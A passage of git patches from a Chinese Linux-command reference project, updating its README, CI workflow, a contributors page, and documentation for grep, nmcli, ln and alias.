[Android](https://github.com/Ernest-su/LinuxCmd.git) | [Mac/Win/Linux](https://github.com/haloislet/linux-command) | [Chrome Plugin](#chrome-插件) | [命令行工具](#命令行工具) -#### Web 版本 +### Web 版本 [Github Web](http://jaywcjlove.github.io/linux-command/) | [Gitee Web](http://jaywcjlove.gitee.io/linux-command/) | [Githack](https://raw.githack.com/jaywcjlove/linux-command/gh-pages/index.html) | [Statically](https://cdn.statically.io/gh/jaywcjlove/linux-command/gh-pages/index.html) 扫描二维码移动端预览搜索，也可通过二维码下面链接地址打开使用，下面网站是通过 Github Action 自动更新。 -⚠️ [Gitee Web](http://jaywcjlove.gitee.io/linux-command/) 存在 `违禁违规` 内容问题 [#283](https://github.com/jaywcjlove/linux-command/issues/283) +⚠️ [Gitee Web](http://jaywcjlove.gitee.io/linux-command/) 存在 `违禁违规` 内容问题 [#283](https://github.com/jaywcjlove/linux-command/issues/283)。 [![Linux 命令大全](https://user-images.githubusercontent.com/1680273/123261718-ab585380-d529-11eb-86e1-e97cdcd78150.png)](https://jaywcjlove.github.io/linux-command/) @@ -25,13 +25,19 @@ [![Linux 命令大全](https://user-images.githubusercontent.com/1680273/123261829-ce830300-d529-11eb-8cea-a39059b972dd.gif)](https://jaywcjlove.github.io/linux-command/) -#### 微信小程序版本 +你可以随意部署 web 版，这非常简单，只需要克隆 [`gh-pages`](https://github.com/jaywcjlove/linux-command/tree/gh-pages) 分支代码到你的静态服务就可以了。你也可以将 [`command`](https://github.com/jaywcjlove/linux-command/tree/master/command) 目录中的 Markdown 文件拿去自己生成 HTML。 + +⚠️ 你们拿过去部署的静态网站，还是希望挂个 GitHub 地址，这样大家共同维护命令文档，让文档更加完善，更加丰富，当然你删除本站所有信息相关信息，其实我也不太在意，默认允许你们随意搞，我不负任何负责。如果您也部署了一份，可以将网址放到下面 :)。 + +[`linux.devonline.net`](http://linux.devonline.net/)，[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`bqrdh.com`](https://tools.bqrdh.com/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/) + +### 微信小程序版本 微信小程序版本，由 [**@Matz Yang**](https://github.com/MatzYang) 提供 [#260](https://github.com/jaywcjlove/linux-command/issues/260)。 -#### Chrome 插件 +### Chrome 插件 可在[源码仓库](https://github.com/jaywcjlove/oscnews)预览效果，[Github下载 crx 文件安装](https://github.com/jaywcjlove/oscnews/releases) 或者[开源中国下载 crx 文件安装](https://gitee.com/jaywcjlove/oscnews/releases) 也可通过 Chrome Web Store 下载： @@ -39,19 +45,19 @@ [![Chrome Web Store 下载](./assets/chrome-extensions.gif)](https://github.com/jaywcjlove/oscnews) -#### Alfred 版本 +### Alfred 版本 [Alfred 版本下载](https://github.com/jaywcjlove/linux-command/releases)， 下图是界面效果。 [![Linux 命令大全](./assets/alfred.png)](https://github.com/jaywcjlove/linux-command/releases) -#### Dash 版本 +### Dash 版本 由 [**@SHANG殇**](https://github.com/xinshangshangxin) 提供的 `Dash` 版本 [#91](https://github.com/jaywcjlove/linux-command/pull/91)，可配合 `alfred` 玩耍，下载 [linux-command.docset.zip](https://jaywcjlove.github.io/linux-command/linux-command.docset.zip) 文件解压，点击安装即可。 [![](https://user-images.githubusercontent.com/8779091/57193499-5b475d00-6f6e-11e9-879d-e7e8fdc40ced.gif)](https://github.com/jaywcjlove/linux-command/releases) -#### 命令行工具 +### 命令行工具 - [`@chenjiandongx/how`](https://github.com/chenjiandongx/how) Python 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供。 - [`@chenjiandongx/pls`](https://github.com/chenjiandongx/pls) Golang 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供。 From c9701bc8b4056951358e6e6750f72f62b14d8bda Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 8 Jan 2022 13:21:16 +0800 Subject: [PATCH 0403/1019] doc: Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 303c834a127..04d92550b54 100644 --- a/README.md +++ b/README.md @@ -29,7 +29,7 @@ ⚠️ 你们拿过去部署的静态网站，还是希望挂个 GitHub 地址，这样大家共同维护命令文档，让文档更加完善，更加丰富，当然你删除本站所有信息相关信息，其实我也不太在意，默认允许你们随意搞，我不负任何负责。如果您也部署了一份，可以将网址放到下面 :)。 -[`linux.devonline.net`](http://linux.devonline.net/)，[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`bqrdh.com`](https://tools.bqrdh.com/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/) +[`linux.devonline.net`](http://linux.devonline.net/)，[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`bqrdh.com`](https://tools.bqrdh.com/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/) ### 微信小程序版本 From 004523119f3dae4b9c6c5ac467302d1270a4eb3e Mon Sep 17 00:00:00 2001 From: logicwang <1758555877@qq.com> Date: Thu, 13 Jan 2022 23:44:45 +0800 Subject: [PATCH 0404/1019] Update grep.md (#327) --- command/grep.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/command/grep.md b/command/grep.md index e6a2957c544..860c1c9e0be 100644 --- a/command/grep.md +++ b/command/grep.md @@ -119,6 +119,12 @@ line. grep -c "text" file_name ``` +搜索命令行历史记录中 输入过 `git` 命令的记录： + +```shell +history | grep git +``` + 输出包含匹配字符串的行数 **-n** 选项： ```shell From 635103a88cd3a1c76b3286b8d872d4c48bb65cab Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 13 Feb 2022 23:12:09 +0800 Subject: [PATCH 0405/1019] chore: update .github/workflows/ci.yml --- .github/workflows/ci.yml | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index cc0e3616733..51bab3ae200 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -15,7 +15,7 @@ jobs: - name: Generate Changelog id: changelog - uses: jaywcjlove/changelog-generator@v1.4.6 + uses: jaywcjlove/changelog-generator@v1.4.8 with: token: ${{ secrets.GITHUB_TOKEN }} filter-author: (小弟调调™|Renovate Bot) @@ -27,6 +27,13 @@ jobs: - run: npm run dash - run: rm -rf .deploy/linux-command.docset + - name: Generate Contributors Images + uses: jaywcjlove/github-action-contributors@main + with: + filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\]) + output: .deploy/CONTRIBUTORS.svg + avatarSize: 42 + - run: npm install @jsdevtools/npm-publish -g - run: npm-publish --token="${{ secrets.NPM_TOKEN }}" ./package.json @@ -40,7 +47,7 @@ jobs: - name: Create Tag id: create_tag - uses: jaywcjlove/create-tag-action@v1.2.1 + uses: jaywcjlove/create-tag-action@v1.3.5 with: token: ${{ secrets.GITHUB_TOKEN }} package-path: ./package.json From c3a24f2a316e5ef4e21c7a340f43d0b3f77799c1 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 13 Feb 2022 23:16:43 +0800 Subject: [PATCH 0406/1019] doc: Update README.md --- README.md | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/README.md b/README.md index 04d92550b54..39f42cac71d 100644 --- a/README.md +++ b/README.md @@ -253,3 +253,17 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 [![小弟调调™](https://github.com/jaywcjlove.png?size=100)](https://github.com/jaywcjlove) | [![ZhuangZhu-74](https://github.com/ZhuangZhu-74.png?size=100)](https://github.com/ZhuangZhu-74) | [![Huck Huang](https://github.com/huckhuang.png?size=100)](https://github.com/huckhuang) ---|---|--- [小弟调调™](http://wangchujiang.com) | [ZhuangZhu-74](https://github.com/ZhuangZhu-74) | [Huck Huang](https://github.com/huckhuang) + +## Contributors + +As always, thanks to our amazing contributors! + + + + + +Made with [github-action-contributors](https://github.com/jaywcjlove/github-action-contributors). + +## License + +Licensed under the MIT License. \ No newline at end of file From bc49f6f7e74487940b71f8fc815a796444b906ab Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 14 Feb 2022 10:44:19 +0800 Subject: [PATCH 0407/1019] feat: Add contributors pages. --- build/build.mjs | 19 +++++++++++++++++++ template/contributors.ejs | 8 ++++++++ template/styl/index.styl | 9 ++++++++- template/widget/footer.ejs | 2 +- 4 files changed, 36 insertions(+), 2 deletions(-) create mode 100644 template/contributors.ejs diff --git a/build/build.mjs b/build/build.mjs index ef04b022a75..c8aaa2ddce7 100644 --- a/build/build.mjs +++ b/build/build.mjs @@ -12,6 +12,7 @@ const rootIndexJSPath = path.resolve(process.cwd(), 'template', 'js', 'index.js' const dataJsonPath = path.resolve(process.cwd(), 'dist', 'data.json'); const dataJsonMinPath = path.resolve(process.cwd(), 'dist', 'data.min.json'); const cssPath = path.resolve(deployDir, 'css', 'index.css'); +const contributorsPath = path.resolve(deployDir, 'CONTRIBUTORS.svg'); ;(async () => { try { @@ -71,6 +72,24 @@ const cssPath = path.resolve(deployDir, 'css', 'index.css'); command_length: jsonData.data.length } ); + + let svgStr = ''; + if (FS.existsSync(contributorsPath)) { + svgStr = (await FS.readFile(contributorsPath)).toString(); + } + + await createTmpToHTML( + path.resolve(process.cwd(), 'template', 'contributors.ejs'), + path.resolve(deployDir, 'contributors.html'), + { + p: '/contributors.html', + n: '搜索', + d: '最专业的Linux命令大全，命令搜索引擎，内容包含Linux命令手册、详解、学习，值得收藏的Linux命令速查手册。', + arr: jsonData.data, + command_length: jsonData.data.length, + contributors: svgStr, + } + ); await Promise.all(jsonData.data.map(async (item, idx) => { item.command_length = jsonData.data.length; diff --git a/template/contributors.ejs b/template/contributors.ejs new file mode 100644 index 00000000000..cfdb75dbd4c --- /dev/null +++ b/template/contributors.ejs @@ -0,0 +1,8 @@ +<%- include('partial/header'); %> +<%- include('widget/search',{type: "list"}); %> +
+

Contributors

+
<%=describe.contributors ? describe.contributors : '' %>
+
+<%- include('widget/footer',{type: "list"}); %> +<%- include('partial/footer'); %> diff --git a/template/styl/index.styl b/template/styl/index.styl index c61b8283ea6..7548edc80cc 100644 --- a/template/styl/index.styl +++ b/template/styl/index.styl @@ -295,11 +295,18 @@ a { } } -.header_inner, .hotlist, .search_list { +.header_inner, .hotlist, .search_list, .contributors { max-width 920px margin 0 auto } +.contributors { + padding 79px 27px + a { + font-weight: bold; + } +} + @media mq-mobile { .header{ width inherit diff --git a/template/widget/footer.ejs b/template/widget/footer.ejs index d442a410688..a749792631c 100644 --- a/template/widget/footer.ejs +++ b/template/widget/footer.ejs @@ -15,5 +15,5 @@
共搜集到 <%=describe.command_length?describe.command_length:''%> - 个Linux命令 + 个Linux命令，超过 50+ 的贡献者
\ No newline at end of file From cabc3b036a305f69580ea3280f6b407149b339f7 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 14 Feb 2022 10:50:31 +0800 Subject: [PATCH 0408/1019] fix: Fixed reading issue with CONTRIBUTORS.svg file. --- .github/workflows/ci.yml | 14 +++++++------- build/build.mjs | 2 +- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 51bab3ae200..a46ff895af3 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -21,19 +21,19 @@ jobs: filter-author: (小弟调调™|Renovate Bot) filter: (^[\s]+?[R|r]elease)|(^[R|r]elease) - - - run: npm install - - run: npm run build - - run: npm run dash - - run: rm -rf .deploy/linux-command.docset - - name: Generate Contributors Images uses: jaywcjlove/github-action-contributors@main with: filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\]) - output: .deploy/CONTRIBUTORS.svg + output: CONTRIBUTORS.svg avatarSize: 42 + - run: npm install + - run: npm run build + - run: npm run dash + - run: rm -rf .deploy/linux-command.docset + - run: cp -rp CONTRIBUTORS.svg .deploy/ + - run: npm install @jsdevtools/npm-publish -g - run: npm-publish --token="${{ secrets.NPM_TOKEN }}" ./package.json diff --git a/build/build.mjs b/build/build.mjs index c8aaa2ddce7..cec0024695f 100644 --- a/build/build.mjs +++ b/build/build.mjs @@ -12,7 +12,7 @@ const rootIndexJSPath = path.resolve(process.cwd(), 'template', 'js', 'index.js' const dataJsonPath = path.resolve(process.cwd(), 'dist', 'data.json'); const dataJsonMinPath = path.resolve(process.cwd(), 'dist', 'data.min.json'); const cssPath = path.resolve(deployDir, 'css', 'index.css'); -const contributorsPath = path.resolve(deployDir, 'CONTRIBUTORS.svg'); +const contributorsPath = path.resolve(process.cwd(), 'CONTRIBUTORS.svg'); ;(async () => { try { From e19ed19e8fa44b2c7358583bcc1787656fefed4e Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 14 Feb 2022 10:57:30 +0800 Subject: [PATCH 0409/1019] fix: Fix template/contributors.ejs issue. --- template/contributors.ejs | 5 ++++- template/widget/footer.ejs | 2 +- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index cfdb75dbd4c..66dca26ab5b 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -2,7 +2,10 @@ <%- include('widget/search',{type: "list"}); %>

Contributors

-
<%=describe.contributors ? describe.contributors : '' %>
+
<%-describe.contributors ? describe.contributors : '' %>
+

+ 数据来源于 GitHub Contributors，使用github-action-contributors创建。 +

<%- include('widget/footer',{type: "list"}); %> <%- include('partial/footer'); %> diff --git a/template/widget/footer.ejs b/template/widget/footer.ejs index a749792631c..3fbc6d6ac19 100644 --- a/template/widget/footer.ejs +++ b/template/widget/footer.ejs @@ -15,5 +15,5 @@
共搜集到 <%=describe.command_length?describe.command_length:''%> - 个Linux命令，超过 50+ 的贡献者 + 个Linux命令，超过 50+ 贡献者
\ No newline at end of file From f708e394049895949dc44542853b239f30aff0e8 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 14 Feb 2022 11:03:02 +0800 Subject: [PATCH 0410/1019] website: update website style. --- template/styl/index.styl | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/template/styl/index.styl b/template/styl/index.styl index 7548edc80cc..dcde15b46ed 100644 --- a/template/styl/index.styl +++ b/template/styl/index.styl @@ -301,7 +301,8 @@ a { } .contributors { - padding 79px 27px + padding 79px 27px + font-size: 16px a { font-weight: bold; } From bb4d67a71b053c44a96cb96269d658d548853fcc Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 14 Feb 2022 11:19:03 +0800 Subject: [PATCH 0411/1019] website: update website style. --- template/styl/index.styl | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/template/styl/index.styl b/template/styl/index.styl index dcde15b46ed..10c811a16b9 100644 --- a/template/styl/index.styl +++ b/template/styl/index.styl @@ -302,7 +302,14 @@ a { .contributors { padding 79px 27px - font-size: 16px + max-width: 960px; + margin: 28px auto 60px auto; + color: #24292f; + background-color: #ffffff; + font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji"; + font-size: 16px; + line-height: 1.5; + word-wrap: break-word; a { font-weight: bold; } From 94ed285caa5afa3527c0e82d67635901359bc853 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 14 Feb 2022 13:58:31 +0800 Subject: [PATCH 0412/1019] website: update website style. --- template/styl/index.styl | 1 - 1 file changed, 1 deletion(-) diff --git a/template/styl/index.styl b/template/styl/index.styl index 10c811a16b9..4a26bc9270d 100644 --- a/template/styl/index.styl +++ b/template/styl/index.styl @@ -303,7 +303,6 @@ a { .contributors { padding 79px 27px max-width: 960px; - margin: 28px auto 60px auto; color: #24292f; background-color: #ffffff; font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji"; From a78e4a0cda07ec95c84a1eb25f12f145cc7f405d Mon Sep 17 00:00:00 2001 From: Marnm <2461590502@qq.com> Date: Sat, 19 Feb 2022 21:42:47 +0800 Subject: [PATCH 0413/1019] Update nmcli.md (#333) --- command/nmcli.md | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/command/nmcli.md b/command/nmcli.md index 6258e3a6cc0..ccf4cf5bcb6 100644 --- a/command/nmcli.md +++ b/command/nmcli.md @@ -53,3 +53,14 @@ nmcli con add help # 查看帮助 ``` +### 创建网络会话 +```shell +nmcli connection add con-name company ifname ens33 autoconnect no type ethernet ip4 192.168.1.2/24 gw4 192.168.1.1 +# con-name 指定会话名称， +# ifname 指定本机网卡 +# autoconnect no 是否自动连接 +# ethernet 指定网卡类型 +# ip4/ip6 +# gw4/gw5 +``` + From 710a833cf3d76fb4214ace3f03598a1e086e27f4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= <398188662@qq.com> Date: Sat, 19 Feb 2022 21:43:07 +0800 Subject: [PATCH 0414/1019] Update nmcli.md --- command/nmcli.md | 1 + 1 file changed, 1 insertion(+) diff --git a/command/nmcli.md b/command/nmcli.md index ccf4cf5bcb6..1a30fdf2ca5 100644 --- a/command/nmcli.md +++ b/command/nmcli.md @@ -54,6 +54,7 @@ nmcli con add help # 查看帮助 ``` ### 创建网络会话 + ```shell nmcli connection add con-name company ifname ens33 autoconnect no type ethernet ip4 192.168.1.2/24 gw4 192.168.1.1 # con-name 指定会话名称， From a49d92b298cba5f12774fd118a8008e40233a6fe Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= <398188662@qq.com> Date: Sun, 20 Feb 2022 02:23:57 +0800 Subject: [PATCH 0415/1019] Update nmcli.md --- command/nmcli.md | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/command/nmcli.md b/command/nmcli.md index 1a30fdf2ca5..f340f7ed2a2 100644 --- a/command/nmcli.md +++ b/command/nmcli.md @@ -40,16 +40,16 @@ OBJECT ### 实例 ```shell -nmcli connection show # 查看当前连接状态 -nmcli connection reload # 重启服务 -nmcli connection show -active # 显示活动的连接 -nmcli connection show "lan eth0"# 显示指定一个网络连接配置 -nmcli device status # 显示设备状态 -nmcli device show eno16777736 # 显示指定接口属性 -nmcli device show # 显示全部接口属性 -nmcli con up static # 启用static连接配置 -nmcli con up default # 启用default连接配置 -nmcli con add help # 查看帮助 +nmcli connection show # 查看当前连接状态 +nmcli connection reload # 重启服务 +nmcli connection show -active # 显示活动的连接 +nmcli connection show "lan eth0" # 显示指定一个网络连接配置 +nmcli device status # 显示设备状态 +nmcli device show eno16777736 # 显示指定接口属性 +nmcli device show # 显示全部接口属性 +nmcli con up static # 启用static连接配置 +nmcli con up default # 启用default连接配置 +nmcli con add help # 查看帮助 ``` From 5cf755b37b8df126d54d5706a15084883a5fd2a8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= <398188662@qq.com> Date: Tue, 22 Feb 2022 17:09:40 +0800 Subject: [PATCH 0416/1019] Update ln.md --- command/ln.md | 71 ++++++++++++++++++++++++++++++++++++++------------- 1 file changed, 53 insertions(+), 18 deletions(-) diff --git a/command/ln.md b/command/ln.md index 264d059d7e4..f1afe832443 100644 --- a/command/ln.md +++ b/command/ln.md @@ -21,22 +21,22 @@ ln [选项]... [-T] 目标 链接名 (第一种格式) ### 选项 ```shell - --backup[=CONTROL] 为每个已存在的目标文件创建备份文件 --b 类似--backup，但不接受任何参数 --d, -F, --directory 创建指向目录的硬链接(只适用于超级用户) --f, --force 强行删除任何已存在的目标文件 --i, --interactive 覆盖既有文件之前先询问用户 --L, --logical 取消引用作为符号链接的目标 --n, --no-dereference 把符号链接的目的目录视为一般文件 --P, --physical 直接将硬链接到符号链接 --r, --relative 创建相对于链接位置的符号链接 --s, --symbolic 对源文件建立符号链接，而非硬链接 --S, --suffix=SUFFIX 用"-b"参数备份目标文件后，备份文件的字尾会被加上一个备份字符串，预设的备份字符串是符号“~”，用户可通过“-S”参数来改变它 --t, --target-directory=DIRECTORY 指定要在其中创建链接的DIRECTORY --T, --no-target-directory 将“LINK_NAME”视为常规文件 --v, --verbose 打印每个链接文件的名称 - --help 显示此帮助信息并退出 - --version 显示版本信息并退出 +--backup[=CONTROL] # 为每个已存在的目标文件创建备份文件 +-b # 类似--backup，但不接受任何参数 +-d, -F, --directory # 创建指向目录的硬链接(只适用于超级用户) +-f, --force # 强行删除任何已存在的目标文件 +-i, --interactive # 覆盖既有文件之前先询问用户 +-L, --logical # 取消引用作为符号链接的目标 +-n, --no-dereference # 把符号链接的目的目录视为一般文件 +-P, --physical # 直接将硬链接到符号链接 +-r, --relative # 创建相对于链接位置的符号链接 +-s, --symbolic # 对源文件建立符号链接，而非硬链接 +-S, --suffix=SUFFIX # 用"-b"参数备份目标文件后，备份文件的字尾会被加上一个备份字符串，预设的备份字符串是符号“~”，用户可通过“-S”参数来改变它 +-t, --target-directory=DIRECTORY # 指定要在其中创建链接的DIRECTORY +-T, --no-target-directory # 将“LINK_NAME”视为常规文件 +-v, --verbose # 打印每个链接文件的名称 +--help # 显示此帮助信息并退出 +--version # 显示版本信息并退出 ``` ### 参数 @@ -53,7 +53,7 @@ simple, never # 永远使用普通方式备份 ### 实例 -将目录`/usr/mengqc/mub1`下的文件m2.c链接到目录`/usr/liu`下的文件a2.c +将目录`/usr/mengqc/mub1` 下的文件 m2.c 链接到目录 `/usr/liu` 下的文件 a2.c ```shell cd /usr/mengqc @@ -62,6 +62,8 @@ ln /mub1/m2.c /usr/liu/a2.c 在执行ln命令之前，目录`/usr/liu`中不存在a2.c文件。执行ln之后，在`/usr/liu`目录中才有a2.c这一项，表明m2.c和a2.c链接起来（注意，二者在物理上是同一文件），利用`ls -l`命令可以看到链接数的变化。 +**创建软链接** + 在目录`/usr/liu`下建立一个符号链接文件abc，使它指向目录`/usr/mengqc/mub1` ```shell @@ -70,6 +72,27 @@ ln -s /usr/mengqc/mub1 /usr/liu/abc 执行该命令后，`/usr/mengqc/mub1`代表的路径将存放在名为`/usr/liu/abc`的文件中。 +**创建硬链接** + +给文件创建硬链接，为 `log2022.log` 创建硬链接 `ln2022`，`log2022.log` 与 `ln2022` 的各项属性相同 + +```shell +ln log2022.log ln2022 +``` + +输出： + +``` +[root@localhost test]# ll +lrwxrwxrwx 1 root root 11 12-07 16:01 link2013 -> log2022.log +-rw-r--r-- 1 root bin 61 11-13 06:03 log2022.log +[root@localhost test]# ln log2022.log ln2022 +[root@localhost test]# ll +lrwxrwxrwx 1 root root 11 12-07 16:01 link2013 -> log2022.log +-rw-r--r-- 2 root bin 61 11-13 06:03 ln2022 +-rw-r--r-- 2 root bin 61 11-13 06:03 log2022.log +``` + ## 扩展知识 Linux具有为一个文件起多个名字的功能，称为链接。被链接的文件可以存放在相同的目录下，但是必须有不同的文件名，而不用在硬盘上为同样的数据重复备份。另外，被链接的文件也可以有相同的文件名，但是存放在不同的目录下，这样只要对一个目录下的该文件进行修改，就可以完成对所有目录下同名链接文件的修改。对于某个文件的各链接文件，我们可以给它们指定不同的存取权限，以控制对信息的共享和增强安全性。 @@ -80,10 +103,22 @@ ln功能说明：是为某一个文件在另外一个位置建立一个同步的 > :warning: ln命令会保持每一处链接文件的同步性，也就是说，不论你改动了哪一处，其它的文件都会发生相同的变化。 +### 软链接： + +1. 软链接，以路径的形式存在。类似于Windows操作系统中的快捷方式 +2. 软链接可以 跨文件系统 ，硬链接不可以 +3. 软链接可以对一个不存在的文件名进行链接 +4. 软链接可以对目录进行链接 + ### 硬链接 建立硬链接时，在另外的目录或本目录中增加目标文件的一个目录项，这样，一个文件就登记在多个目录中。如下所示的m2.c文件就在目录mub1和liu中都建立了目录项。 + +1. 硬链接，以文件副本的形式存在。但不占用实际空间。 +2. 不允许给目录创建硬链接 +3. 硬链接只有在同一个文件系统中才能创建 + ```shell ls -ailR .: @@ -116,7 +151,7 @@ total 8 * 不能对目录文件做硬链接。 * 不能在不同的文件系统之间做硬链接。就是说，链接文件和被链接文件必须位于同一个文件系统中。 -### 符号链接 +### 符号链接(软连接) 符号链接也称为软链接，是将一个路径名链接到一个文件。这些文件是一种特别类型的文件。事实上，它只是一个文本文件（如下所示的abc文件），其中包含它提供链接的另一个文件的路径名，如虚线箭头所示。另一个文件是实际包含所有数据的文件。所有读、写文件内容的命令被用于符号链接时，将沿着链接方向前进来访问实际的文件。 From 17ac6121d94244cfade5e95041c907d06e25a22e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= <398188662@qq.com> Date: Wed, 23 Feb 2022 10:15:45 +0800 Subject: [PATCH 0417/1019] Update alias.md --- command/alias.md | 27 ++++++++------------------- 1 file changed, 8 insertions(+), 19 deletions(-) diff --git a/command/alias.md b/command/alias.md index e7c8f282d59..b586cef39d4 100644 --- a/command/alias.md +++ b/command/alias.md @@ -21,17 +21,13 @@ alias [-p] [name[=value] ...] ```shell -p：显示全部已定义的别名。 -``` - -## 参数 - name（可选）：指定要（定义、修改、显示）的别名。 - value（可选）：别名的值。 +``` ### 返回值 -alias返回true除非您要显示的别名未定义。 +alias 返回 true 除非您要显示的别名未定义。 ## 例子 @@ -73,7 +69,6 @@ alias ls='ls --color=never' grep='grep --color=never' ## 错误用法 - 要显示的别名未定义。 - - 当您定义（修改）别名的值的时候，由于值的字符串有空格但您没有用**单引号扩起**，那么会导致严重的问题： ```shell @@ -112,19 +107,13 @@ A：运行cd依然会切换目录，运行ls依然会列出文件夹的内容； ### 注意 -1. **执行脚本时请注意：** - -> 使用`source`命令执行的bash脚本如果执行了`alias`或`unalias`命令，那么有可能会对终端环境的别名设置产生影响；终端环境的别名设置也可能改变运行结果； -> -> 通过`sh`方式调用的bash脚本或直接运行当前用户有执行权限的脚本不受终端环境的别名影响。 - +1. 执行脚本时请注意： + 1. 使用 `source` 命令执行的bash脚本如果执行了 `alias` 或 `unalias` 命令，那么有可能会对终端环境的别名设置产生影响；终端环境的别名设置也可能改变运行结果； + 2. 通过 `sh` 方式调用的 bash 脚本或直接运行当前用户有执行权限的脚本不受终端环境的别名影响。 2. 删除别名，请查看`unalias`命令。 - -2. 建议您不要对`mv cp rm`等命令的别名设置危险的`-f`选项，比如`alias rm='rm -f'`。 - -3. 需要注意别名是否和其他命令有冲突的情况。 - -4. 该命令是bash内建命令，相关的帮助信息请查看`help`命令。 +3. 建议您不要对 `mv cp rm` 等命令的别名设置危险的 `-f` 选项，比如 `alias rm='rm -f'`。 +4. 需要注意别名是否和其他命令有冲突的情况。 +5. 该命令是 bash 内建命令，相关的帮助信息请查看 `help` 命令。 ### 其他参考链接 From bde70a417f0f5df90886e01bfd090d71c0ec5f43 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= <398188662@qq.com> Date: Wed, 23 Feb 2022 10:16:45 +0800 Subject: [PATCH 0418/1019] Update alias.md --- command/alias.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/command/alias.md b/command/alias.md index b586cef39d4..77e5f2b173c 100644 --- a/command/alias.md +++ b/command/alias.md @@ -108,8 +108,8 @@ A：运行cd依然会切换目录，运行ls依然会列出文件夹的内容； ### 注意 1. 执行脚本时请注意： - 1. 使用 `source` 命令执行的bash脚本如果执行了 `alias` 或 `unalias` 命令，那么有可能会对终端环境的别名设置产生影响；终端环境的别名设置也可能改变运行结果； - 2. 通过 `sh` 方式调用的 bash 脚本或直接运行当前用户有执行权限的脚本不受终端环境的别名影响。 + - 使用 `source` 命令执行的bash脚本如果执行了 `alias` 或 `unalias` 命令，那么有可能会对终端环境的别名设置产生影响；终端环境的别名设置也可能改变运行结果； + - 通过 `sh` 方式调用的 bash 脚本或直接运行当前用户有执行权限的脚本不受终端环境的别名影响。 2. 删除别名，请查看`unalias`命令。 3. 建议您不要对 `mv cp rm` 等命令的别名设置危险的 `-f` 选项，比如 `alias rm='rm -f'`。 4. 需要注意别名是否和其他命令有冲突的情况。 From aabe4285d3d403e5a0eecf6bd582174f3bde86cf Mon Sep 17 